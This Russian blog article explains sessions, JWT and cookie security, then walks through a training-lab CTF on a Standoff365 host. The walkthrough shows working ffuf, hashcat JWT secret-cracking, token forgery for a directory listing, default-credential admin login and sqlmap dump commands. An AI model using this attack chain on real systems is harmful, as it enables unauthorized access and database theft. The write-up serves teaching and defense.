Обложка статьи

Как сайты помнят тебя и как я через JWT попал в базу PostgreSQL

CyberWatchDog 18.03.2026 6 мин чтения
🚀 Не просто читай — прокачивайся! Зарегистрируйся в Академии Кракен (Kraken Academy) и учись на практике: стенды, модули и реальные скиллы.

🍪 Ты заходишь на сайт, логинишься, закрываешь вкладку, открываешь снова — и ты всё ещё внутри. Магия? Нет, просто браузер хранит твой цифровой пропуск. А если этот пропуск сделан криво — кто-то другой войдёт вместо тебя.

В конце статьи покажу, как именно: реальный CTF, реальный взлом через JWT, LFI и SQL-инъекцию в PostgreSQL.


📌 Session ID: цифровой номерок в гардеробе

Представь: пришёл на вечеринку, сдал куртку, получил бумажку с номером. Гардеробщик по номеру знает — куртка твоя. Потерял номерок — и кто-то другой заберёт куртку.

С сайтами то же самое. Когда ты логинишься:

  1. Вводишь логин/пароль
  2. Сервер проверяет данные, создаёт сессию с уникальным ID
  3. Браузеру прилетает кука: sessionid=abc123
  4. При каждом следующем запросе браузер шлёт эту куку, сервер проверяет: «А, это Вася, пускай»

Где хранится Session ID? Обычно в памяти сервера или в базе данных (Redis, Memcached).

Проблема: украл злоумышленник этот ID — и он ты. Пока сессия жива.


🔑 JWT: самодостаточный пропуск

JWT (JSON Web Token) — другой подход. Никакого хранилища на сервере: вся информация о пользователе зашита прямо в токен.

Структура:

header.payload.signature
  • header — алгоритм шифрования (HS256, RS256, ...)
  • payload — данные: {"user": "James", "role": "admin", "exp": 1700000000}
  • signature — подпись, которая доказывает, что токен не подделан

Как работает:

  1. Логинишься → сервер генерирует JWT и отдаёт браузеру (в куке или localStorage)
  2. При каждом запросе браузер прикладывает токен
  3. Сервер проверяет подпись, смотрит срок — и достаёт данные из payload

Плюс: не нужно хранить сессии на сервере, легко масштабировать.
Минус: украли токен — он работает до истечения срока. Отозвать досрочно сложно. Ну и если секрет слабый — его можно сбрутить. Об этом ниже 😈


🧨 Чем опасна кража куки или токена

Если злоумышленник получил твой Session ID или JWT:

  •  Заходит в аккаунт без пароля
  •  Делает всё от твоего имени: посты, переводы, заказы
  •  Меняет настройки, сливает данные
  •  Даже 2FA не всегда спасает — некоторые сайты не требуют её повторно при живой сессии

Как воруют:

  • XSS — скрипт на странице читает куки и отправляет хакеру
  • Перехват трафика — если HTTP без S, данные летят открытым текстом
  • Фишинг — поддельный сайт копирует сессию
  • Утечки БД — сессии хранятся на сервере, утекают вместе с паролями

🛡 Как защититься

Для пользователей:

  • Проверяй замок HTTPS в адресной строке
  • Не кликай на подозрительные ссылки вида «срочно подтверди вход»
  • Выходи из аккаунтов на чужих устройствах
  • Включай 2FA везде, где есть

Для разработчиков:

  • HttpOnly — кука недоступна JavaScript (защита от XSS)
  • Secure — кука только по HTTPS
  • SameSite — ограничивает отправку куки с чужих сайтов (защита от CSRF)
  • Короткое время жизни токена — украли, но через 15 минут уже мусор
  • Привязка к IP / User-Agent — резко изменились параметры → переспросить пароль
  • Чёрный список токенов — нажал «выйти», токен в стоп-лист

Как посмотреть свои куки:
F12 → Application (Chrome) или Storage (Firefox) → Cookies
Видно флаги HttpOnly, Secure, SameSite. Если их нет — сайт написан с ленцой.


🏴 Практика: как я через JWT попал в PostgreSQL

Теперь не теория, а руки в земле. Mашина 10.124.1.239. Цель — внедрение SQL-кода, найти флаг.


Шаг 1. Получаем JWT токен

Открываю сайт — там единственная кнопка: Get Test Token. Нажимаю, и сервер любезно выдаёт JWT прямо в браузере. 

Сервер вернул длинную строку вида eyJ0eXAiOiJKV1Qi... — классический Base64-encoded JWT. Запомнили, идём дальше.


Шаг 2. Фаззим директории через ffuf

Токен есть, но непонятно куда его совать. Запускаю ffuf — инструмент для перебора путей на сервере:

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.124.1.239/FUZZ -e .php

Среди результатов — check.php с кодом 200. Открываю его и получаю сообщение: Get param 'jwt' is not set. Намёк понятен — сюда надо передать токен через GET-параметр ?jwt=.


Шаг 3. Брутим секрет JWT через hashcat

Прежде чем менять payload, нужно знать секрет, которым подписан токен — иначе сервер не примет подпись. Запускаю hashcat с режимом -m 16500 (JWT HS256):

hashcat -a 3 -m 16500 jwt ?a?a?a?a?a?a?a?a

Hashcat перебирает все возможные комбинации символов заданной длины. Секрет оказался слабым — 2e025. Именно поэтому короткие и простые секреты в JWT смертельно опасны.


Шаг 4. Декодируем и изучаем payload в jwt.io

Вставляю токен в jwt.io и вижу структуру изнутри:

{
  "user": "James",
  "dir": "samples",
  "key": "qwerty",
  "timestamp": 1773760742
}

Поле dir сразу бросается в глаза. Сервер явно использует его, чтобы куда-то смотреть. Вопрос: куда именно и что будет, если подменить значение?


Шаг 5. Меняем payload — пробуем LFI

Знаю секрет 2e025, знаю структуру — пора подделать токен. Меняю dir с "samples" на "/var/www/html" и пересобираю токен с той же подписью:

{
  "user": "James",
  "dir": "/var/www/html",
  "key": "qwerty",
  "timestamp": 1773760742
}

Подставляю новый токен в check.php?jwt=... и отправляю запрос.


Шаг 6. Сервер раскрывает содержимое директории

Сервер вернул листинг файлов:

samples  composer.json  vendor  token.php  index.html
supersecretadminloginyoullneverguess.php  composer.lock  ..  check.php  .

Это классический LFI (Local File Inclusion) — сервер доверяет значению dir из токена и использует его для листинга файловой системы. А мы этим доверием воспользовались.

Среди файлов — supersecretadminloginyoullneverguess.php. Название говорит само за себя. Переходим.


Шаг 7. Находим скрытую админку

Логин-форма. Пробую стандартные admin/admin, admin/password — заходим. Внутри открывается другая форма с заголовком «Check information about user» и пятью полями.

Форма поиска по пользователям. Пять полей, POST-запрос, база данных за ними — это пахнет SQL-инъекцией.


Шаг 8. Перехватываем запрос в Burp Suite

Включаю Burp Suite, перехватываю POST-запрос при отправке формы:

POST /supersecretadminloginyoullneverguess.php HTTP/1.1
Host: 10.124.1.239
...
Cookie: PHPSESSID=ejru24mj3antoafdhqjfq9tlg8

name=1&address=1&phone=1&email=1&plan=1&submit_search=Submit

Сохраняю запрос в файл sql.txt — он понадобится sqlmap.


Шаг 9. Запускаем sqlmap — находим инъекцию

Передаю сохранённый запрос в sqlmap:

sqlmap -r sql.txt --level=2 --risk=2 --batch

sqlmap нашёл уязвимость в параметре phone. Бэкенд — PostgreSQL на Ubuntu 20.04, веб-сервер — Apache 2.4.41. Вся информация как на ладони.


Шаг 10. Изучаем структуру базы

Дамплю структуру таблицы clients_data:

sqlmap -r sql.txt --level=5 --risk=3 --columns -D public -T clients_data --batch --random-agent

Данные клиентов — это уже плохо для сайта, но это не флаг. Ищу дальше.


Шаг 11. Ищем таблицу с флагом

Ищу таблицы с названием, похожим на secret:

sqlmap -r sql.txt -p phone --search -T secret --dbms=postgresql

Есть таблица secret. Дампим:

Database: public
Table: secret
[1 entry]
+----+--------------------------------------+
| id | flag                                 |
+----+--------------------------------------+
| 1  | afdce863-acc5-423d-b240-beed4045e5b1 |
+----+--------------------------------------+

🏁 Флаг получен: afdce863-acc5-423d-b240-beed4045e5b1


🔍 Разбор цепочки атаки

Вот как выглядела вся цепочка:

JWT с открытой раздачей
        ↓
ffuf: находим check.php
        ↓
hashcat: брутим секрет "2e025"
        ↓
jwt.io: декодируем payload, видим поле "dir"
        ↓
Подменяем dir → "/var/www/html" → переподписываем токен
        ↓
LFI: сервер листит файловую систему → находим supersecretadmin...php
        ↓
Логинимся → форма поиска пользователей
        ↓
Burp Suite: перехватываем POST-запрос
        ↓
sqlmap: находим SQLi в параметре phone (PostgreSQL)
        ↓
Дампим таблицу secret → флаг

Каждый шаг использовал одну конкретную ошибку разработчика:


🤔 Итог

Куки, сессии и токены — это цифровые паспорта в интернете. Без них ты бы вводил пароль на каждой странице. Но если паспорт сделан криво — его можно подделать, сбрутить и использовать для входа куда не надо.

Конкретно в этой машине: слабый секрет JWT + доверие пользовательским данным + отсутствие параметризированных запросов = полный доступ к базе данных. Четыре строчки кода могли это всё предотвратить.

Пиши токены правильно. Не доверяй данным из токена без валидации. Параметризуй SQL-запросы. И никогда не называй файлы supersecretadminloginyoullneverguess.php  — это не безопасность, это иллюзия безопасности 🙂


P.S 

Машина взято с платформы Standoff365-Bootcamp  
Название: [web-5] Внедрение SQL-кода (SQLi) на узле tokenizer.edu.stf 
Хост: tokenizer.edu.stf 10.124.1.239  
Сложность: Низкая  
Максимум баллов: 50 

Цель по легенде: реализовать SQL-инъекцию и достать флаг из колонки `flag` таблицы `secret`.  
Что и было сделано 🙂

📘 Понравилась публикация?
Больше практики — в Академии Кракен (Kraken Academy).
Подписывайся на наш Telegram-канал.
Рекомендуемые публикации
Обложка

Интернет будущего

Читать полностью →
Обложка

Разбор уязвимости Looney Tunables CVE 2023 4911

Читать полностью →
Обложка

Твой роутер тайный агент

Читать полностью →